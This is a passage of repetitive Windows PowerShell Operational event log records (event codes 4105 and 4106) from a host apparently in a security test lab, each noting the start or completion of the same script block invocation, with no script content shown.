User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469265
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469264
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469263
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469262
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469261
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469260
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469259
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469258
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469257
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469256
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469255
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469254
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469253
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469252
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469251
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469250
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469249
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469248
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469247
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469246
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469245
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469244
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469243
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469242
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469241
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469240
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469239
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469238
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469237
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469236
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469235
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469234
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469233
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469232
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469231
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469230
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469229
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469228
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469227
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469226
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469225
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469224
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469223
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469222
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469221
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469220
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469219
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469218
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469217
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469216
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469215
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469214
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469213
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469212
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469211
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469210
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
